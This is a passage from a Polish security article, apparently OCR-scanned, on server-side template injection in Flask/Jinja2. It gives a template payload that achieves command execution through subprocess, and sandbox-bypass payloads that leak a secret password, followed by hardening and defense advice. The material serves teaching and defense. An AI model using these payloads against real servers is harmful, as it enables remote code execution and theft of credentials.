17. <input type="submit" style="display: block; margin: 1epx"/>
18. </form>
19. <form action="/updateEmailMessage" method="POST">
20. <label for="template" style="display: block;">

Change your email notification message

(type "{% raw %}{{ username }}{% endraw %}" where you want your real username):

</label>

21. <textarea rows="10" cols="66" name="template" style="display: block;

margin: 10px">{{ template }}</textarea>
22. <input type="submit" style="display: block; margin: 1@px"/>
23. </form>
24. </body>
25.
26. </html>
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Po lekturze kodu, mozemy stwierdzi¢, ze logika jest identyczna jak w przypad-
ku wczesniejszych aplikacji demonstracyjnych. Warto zwroci¢ uwage, ze uzywamy
niesandboxowanej wersji Jinja2 przy wykonywaniu szablonéw, ktére otrzymujemy
od uzytkownika (linia 17). Wprawdzie wykonanie kodu w tej konfiguracji nie jest
trywialne, ale jest jak najbardziej mozliwe — zadziata na przyktad taki payload (dla
zainteresowanych: opis procesu tworzenia i doktadne wyttumaczenie dziatania,
znajduje sie tutaj: czesc |, czesc l1):

Listing 22.

1. {{ ''.__class__.mro()[2].__subclasses__ ()[40]('/tmp/config', 'w').write('from
subprocess import check_output\n\nRUNCMD = check_output\n') }}

2. {{ config.from_pyfile('/tmp/config"') }}

3. {{ config['RUNCMD']('uname', shell=True) }}

W duzym skrécie: w linijce 1, w nieco pokretny sposéb, otrzymujemy referencje
do typu file, dzieki ktérej mozemy otworzy¢ i zapisa¢ pewne dane do dowolnego
pliku (z doktadnoscig do uprawnien na serwerze). Zapisujemy tam krétki skrypt w
jezyku Python, ktéry w zmiennej RUNCMD bedzie przechowywat referencje do funk-
¢ji check_output (uzywanej do uruchamiania proceséw systemowych). W linii 2,
wywotujemy funkcje config. from_pyfile, jako argument podajac wczesniej utwo-
rzony plik. W efekcie, w zmiennej config[ ' RUNCMD ' ] bedziemy mieli dostepna wy-
zej wspomniang referencje, ktéra mozemy wykorzysta¢ do wywotania dowolnej
komendy - co robimy w linii 3. Wynik:

Hello dear user:

Here is your email notification message:

None
True
Linux

Change your username:
| -}
Submit

Change your email notification message (type "{{ username } }” where you want your real username):

{{ '"._class .mro()[2]._ subclasses ()[40]1('/tmp/config’, 'w').write('from subprocess import check output\n\nRUNCMD = check output\n') }}
{{ config.from_pyfile('/tmp/config') }}
{{ config['RUNCMD'1{'uname', shell=True) }}

Rysunek 19. Wynik dziatania payloadu z Listingu 22
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Udato sie dosta¢ RCE na serwerze, jednakze przyktad miat dotyczy¢ sandboxéw!
A tutaj sandbox nie wystepuje. Przepiszmy wiec naszg aplikacje, aby byta bez-
pieczniejsza. Oto zmieniony kod:

Listing 23.

1
2
3
4.
5
6
7
8

9.

10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.

21.
22.
23.
24.

25.
26.
27.
28.
29.

30.
31.
32.
33.
34.
35.

36.
37.
38.
39.

. import flask, Base64, jinja2, jinja2.sandbox
. app = flask.Flask(__name_ )
. SUPER_SECRET_DB_PASSWORD='123456"

. @app.route("/", methods = [,GET'])
. def hello():

decodedUsername = ,
if 'username' in flask.request.cookies:
decodedUsername = Base64.b64decode(flask.request.cookies['username'])
emailMessage = ,'
decodedTemplate = ,
error = None
if 'template' in flask.request.cookies:
decodedTemplate = Base64.b64decode(flask.request.cookies['template’])
try:
sandboxed_env = jinja2.sandbox.SandboxedEnvironment()
emailMessage = sandboxed_env.from_string(
decodedTemplate).render(username = decodedUsername)
except (jinja2.TemplateSyntaxError, jinja2.sandbox.SecurityError) as e:
error = ,Error: , + str(e)

return flask.render_template('hello.html', username = decodedUsername,
template = decodedTemplate, emailMessage = emailMessage, error = error)

@app.route("/updateUsername"”, methods = ['POST'])
def updateUsername():
response = app.make_response(flask.redirect('/"))
response.set_cookie('username', Base64.b64dencode(
flask.request.form[ 'username']))
return response

@app.route("/updateEmailMessage", methods = ['POST'])
def updateEmailMessage():
response = app.make_response(flask.redirect('/"))
response.set_cookie('template', Base64.b64encode(
flask.request.form[ 'template']))
return response
if _name__ == "_main__":
app.run(port = 8086)
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Jak wida¢, tym razem uzywamy sandboxa (linie 19-20) i okazuje sie, ze z punktu
widzenia programisty narzut pracy jest minimalny, co jest duzym plusem. Sprébuj-
my uzy¢ naszego wczesniejszego payloadu:

localhost:8086 - Google Chrome
= [ localhost:8086 x Wy
< C | ® localhost:808¢

Hello dear user:

Here is your email notification message:

Error: access to attribute '__class__" of 'str' object is unsafe.

Change your username:
[ =
Submit

Change your email notification message (type "{{ username }}" where you want your real username):

{{ ''.__class__.mro()[2].__subclasses__()[40]('/tmp/config', 'w').write('from subprocess import check_output\n\nRUNCMD = check output\n') }}
{{ config.from_pyfile('/tmp/config') }}
{{ config['RUNCMD']('uname', shell=True) }}

Submit |

Rysunek 20. Wynik dziatania payloadu po modyfikacji kodu

Czyli sandbox dziata — otrzymalismy bfad méwiacy, ze atrybut __class__ jest nie-
bezpieczny, Jinja zablokowat wykonanie szablonu.

Jak to obejs¢? Wprawdzie nie znaleziono jeszcze metody na otrzymanie RCE,
ale... RCE to nie wszystko, by zrobi¢ to, co nas interesuje. Zauwazmy, ze w kodzie
programu zostata dodana globalna zmienna SUPER_SECRET_DB_PASSWORD, ktéra
prawdopodobnie jest hastem do bazy danych i ktorej na pewno nie chcemy udo-
stepnia¢ uzytkownikowi. Sprobujmy zatem ja wyswietli¢ — przykltadowy payload,
ktéry normalnie by zadziatat, wyglada na przyktad tak:

Listing 24.

1. {{range.func_globals[_mutable_sequence_types][1].insert._ func__.func_
globals[sys].modules[__main__].SUPER_SECRET_DB_PASSWORD}}

Niestety, Jinja jest zbyt czujna - znéw dostaniemy informacje, ze odwotanie sie do
atrybutu func_globals jest zabronione:
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localhost:8086 - Google Chrome
[ localhost:8086 =

< C | ® localhost:8086
Hello dear user:

Here is your email notification message:

Error: access to attribute 'func_globals' of 'function’ object is unsafe.

Change your username:
[ -
| Submit

Change your email notification message (type "{{ username }}" where you want your real username):

{{range.func globalsl mutable sequence typesl[1l].insert. func .func globals(sysl.modules[ main 1.SUPER SECRET DB PASSWORD}}

Submit

Rysunek 21. Proba wykonania payloadu — dziatanie biblioteki Jinja2

To koniec? Bynajmniej. Wykorzystajmy (mimochodem juz wspomniang) nowg sktad-
nie natywnych szablonéw w jezyku Python. Nasz payload przyjmie zatem taka postac¢:

Listing 25.

1. {{ "{.func_globals[_mutable_sequence_types][1].insert._ func__.func_
globals[sys].modules[__main__].SUPER_SECRET_DB_PASSWORD}".format(range) }}

Po przestaniu — voilal Otrzymujemy wartos¢ tajnego hasta - w naszym przypadku
123456 (Rysunek 23):

Jak wida¢, z sandboxami réznie bywa. Czesto okazuje sie, ze istnieje ich obejscie
albo catkowite - do RCE (Twig, Smarty), albo czesciowe, pozwalajagce nam na przy-
ktad na wydobycie wrazliwych informacji z programu (Jinja2). Jednak, aby sprawie-
dliwosci stato sie zados¢, nalezy doda¢, ze powyzsze obejscie sandboxa w Jinja2,
zostato naprawione w bibliotece. Co prawda szybkos¢ reakcji pozostawia wiele do
zyczenia — pierwsze wzmianki o powyzszym obejsciu pochodzg z 2014 roku - 2 lata
przed wydaniem odpornej wersji! Aby powyzszy kod zadziatat, konieczna jest Jinja
w wersji < 2.8.0. Jak zawsze, jest to wiec,wyscig zbrojen”: pojawiajg sie nowe meto-
dy ataku, wiec autorzy patchuja biblioteki...

Server-Side Template Injections

localhost:8086 - Google Chrome

[ localhost:8086 x Ny

€ C | @ localhost:8086

Hello dear user:

Here is your email notification message:

1123456

Change your username:
| L
| Submit |

Change your email notification message (type "{{ username } }" where you want your real username):

{{ "{.func_globals[_mutable_sequence_types][1].insert._func__.func_globals[sys].modules[__main_ ].SUPER_SECRET DB PASSWORD}".format(range) }} |

Submit

Rysunek 23. Dziatanie payloadu — wykorzystanie sktadni natywnych szablonéw w jezyku Python

Pozostaje jeszcze pytanie, co jesli wybrany silnik nie posiada wersji sandboxowa-
nej? Jedna z propozycji jest zasymulowanie takiego sandboxa, poprzez stworzenie
wiasnych regut obrony. Konkretnie, mozemy tworzy¢ (white|black)listy dla danych,
ktérych sie spodziewamy. Osobiscie jednak nie polecam tego rozwigzania. Tworze-
nie tego typu list, jest niezwykle skomplikowane nawet dla szeroko znanych forma-
tow typu HTML i XML (stad, bardzo wcigz bardzo popularne btedy XSS), a sktadnia
szablonow jest zdecydowanie bardziej niszowa. Innymi stowy, jest duza szansa, ze
nasze zabezpieczenie bedzie niekompletne - jak przedstawitem na przykfadzie po-
wyzej — nawet autorzy bibliotek majg czesto problemy ze stworzeniem kuloodpor-
nego sandboxa.

Hardening

Jako ostatnig deske ratunku, mozemy wykorzysta¢ konfiguracje serwera. Mo-
zemy zatozy¢ (catkiem stuszniel), ze nadanie niezaufanym uzytkownikom praw
tworzenia/modyfikacji szablonéw spowoduje, iz beda oni w stanie wywotywac ko-
mendy systemowe/uruchamia¢ kod. Aby mocno ograniczyc¢ ich mozliwosci, warto
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przeprowadzi¢ hardening. Po pierwsze, warto zwréci¢ uwage, aby uruchamiat sie
on w jakim$ kontrolowanym srodowisku — np. maszyny wirtualnej lub kontenera
Docker. Réwniez dobrze bedzie skonfigurowa¢ odpowiednie polityki, typu SELinux
czy grsecurity oraz ustawi¢ odpowiednie uprawnienia dla uzytkownika — koniecz-
nie z prawami, ktérego uruchomiona jest aplikacja (w zadnym wypadku nie powi-
nien by¢ to root/administrator!); idealnie, gdyby nie umozliwiaty zapisu do zadnego
z wrazliwych plikoéw, a odczyt byt mozliwy tylko dla plikow catkowicie koniecznych.
Oczywiscie, zawsze istnieje ryzyko niewystarczajacych zabezpieczen (z réznych
powodoéw). Niemniej jednak - jesli jest to jedyne zabezpieczenie, ktére mozemy
wprowadzi¢ - lepiej pojsc tg droga, niz zostawi¢ aplikacje catkowicie bezbronna.

PODSUMOWANIE

Ataki typu Server-Side Template Injections sa stosunkowo nowe, a wiec zwigzana
z nimi Swiadomosc jest niska, co jest o tyle niebezpieczne, ze konsekwencje udane;j
exploitacji sg czesto bardzo powazne.

Z mojego doswiadczenia wynika, ze podatnos¢ SSTI wystepuje czesciej, niz moz-
na by sie tego spodziewa¢. W momencie wykrycia btedu, narzut zwigzany z jego roz-
wigzaniem moze by¢ bardzo duzy, czasem wrecz nieakceptowalny —zmiana/usunie-
cie funkcjonalnosci modyfikacji szablonéw moze by¢ bardzo kosztowna - z punktu

Server-Side Template Injections

widzenia inzynierii oprogramowania, albo bardzo niewygodna - dla uzytkownikow.
Sytuacje komplikuje tez fakt, ze exploitacja btedu jest z reguty stosunkowo prosta,
a bardzo czesto moze by¢ przeprowadzona wrecz catkowicie automatycznie.

Nie jest tez tatwa obrona przed tym atakiem - polecam tutaj zastosowanie para-
dygmatu Defense-in-Depth, a wiec potgczenie proponowanych powyzej rozwigzan,
przyktadowo: mocne ograniczenie liczby uzytkownikéw mogacych modyfikowa¢
szablony, wraz z odpowiednim wyborem (bezpiecznego) silnika (na przyktad Mu-
stache) oraz dodatkowym hardeningiem serwera, (co bedzie dobrym pomystem
takze jako ochrona przed innego rodzaju atakami.

LINKI

» http://blog.portswigger.net/2015/08/server-side-template-injection.html
» https://www.youtube.com/watch?v=3cTOUE7Y87s
» https://github.com/epinna/tplmap

Mateusz Niezabitowski jest bytym Developerem, ktéry w pewnym
momencie stwierdzit, ze wprawdzie tworzenie aplikacji jest fajne, ale psucie
ich jeszcze fajniejsze. Obecnie pracuje na stanowisku AppSec Engineer

w firmie Ocado Technology
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